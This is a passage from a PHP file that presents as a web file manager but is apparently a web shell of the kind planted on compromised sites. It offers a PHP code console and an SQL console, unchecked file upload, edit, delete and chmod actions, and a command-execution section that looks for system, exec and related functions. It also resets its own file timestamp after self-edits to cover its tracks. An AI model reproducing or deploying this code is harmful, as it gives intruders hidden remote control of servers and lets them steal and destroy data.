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");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
sd<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>

</table>
sd<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
		else $msg_ntimes .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
sd<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg_ntimes .= (__('File updated')); 
		else $msg_ntimes .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        sd<?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        sd<?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
sd<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg_ntimes .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
sd<?php

} else {
                       
//quanxian gai bian hou xu yao xi tong chongqi
                    
    $msg_ntimes = '';

    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {

        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg_ntimes .= __('Error occurred');
                      
            } else {

		     		     $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name'];

		     	}
                       
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
		     }
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                      
            $msg_ntimes .= __('Error occurred');
        } else {
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
		     }

    } elseif(!empty($_POST['search_recursive'])) {
		     ini_set('max_execution_time', '0');
		     $search_data =  find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		     if(!empty($search_data)) {
                       
		     	$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>';

		     	foreach ($search_data as $filename) {
                    
		     		     $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

		     	}
		     } else {
		     	$msg_ntimes .= __('Nothing founded');

		     }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {

        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	fclose($fp);
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
		     }

    } elseif (isset($_GET['zip'])) {
		     $source = base64_decode($_GET['zip']);
		     $destination = basename($source).'.zip';
                      
		     set_time_limit(0);

		     $phar = new PharData($destination);

		     $phar->buildFromDirectory($source);
                      
		     if (is_file($destination))
                     
		     $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     '.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		     .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		     else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['gz'])) {

		     $source = base64_decode($_GET['gz']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
		     if (is_file($archive)) unlink($archive);

		     if (is_file($archive.'.gz')) unlink($archive.'.gz');
                       
		     clearstatcache();

		     set_time_limit(0);

		     //die();
		     $phar = new PharData($destination);
		     $phar->buildFromDirectory($source);

		     $phar->compress(Phar::GZ,'.tar.gz');
		     unset($phar);
		     if (is_file($archive)) {

		     	if (is_file($archive.'.gz')) {
		     		     unlink($archive); 
		     		     $destination .= '.gz';

		     	}


                       
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                       
		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['decompress'])) {

		     // $source = base64_decode($_GET['decompress']);
		     // $destination = basename($source);
                     
		     // $ext = end(explode(".", $destination));

		     // if ($ext=='zip' OR $ext=='gz') {

		     	// $phar = new PharData($source);

		     	// $phar->decompress();
                     
		     	// $base_file = str_replace('.'.$ext,'',$destination);

		     	// $ext = end(explode(".", $base_file));

		     	// if ($ext=='tar'){
		     		     // $phar = new PharData($base_file);
                    
		     		     // $phar->extractTo(dir($source));

		     	// }

		     // } 

		     // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		     $source = base64_decode($_GET['gzfile']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
                     
		     if (is_file($archive)) unlink($archive);
		     if (is_file($archive.'.gz')) unlink($archive.'.gz');

		     set_time_limit(0);
		     //echo $destination;
                       
		     $ext_arr = explode('.',basename($source));
		     if (isset($ext_arr[1])) {
                     
		     	unset($ext_arr[0]);

		     	$ext=implode('.',$ext_arr);
		     } 

		     $phar = new PharData($destination);

		     $phar->addFile($source);

		     $phar->compress(Phar::GZ,$ext.'.tar.gz');

		     unset($phar);

		     if (is_file($archive)) {
		     	if (is_file($archive.'.gz')) {

		     		     unlink($archive); 

		     		     $destination .= '.gz';

		     	}
                    
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
                      
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
sd<?php if(!empty($msg_ntimes)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
sd<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
sd<?php
session_start();

// Allowed functions
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen'];

// Check if at least one is available
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

// Initialize cwd
if (!isset($_SESSION['cwd'])) {
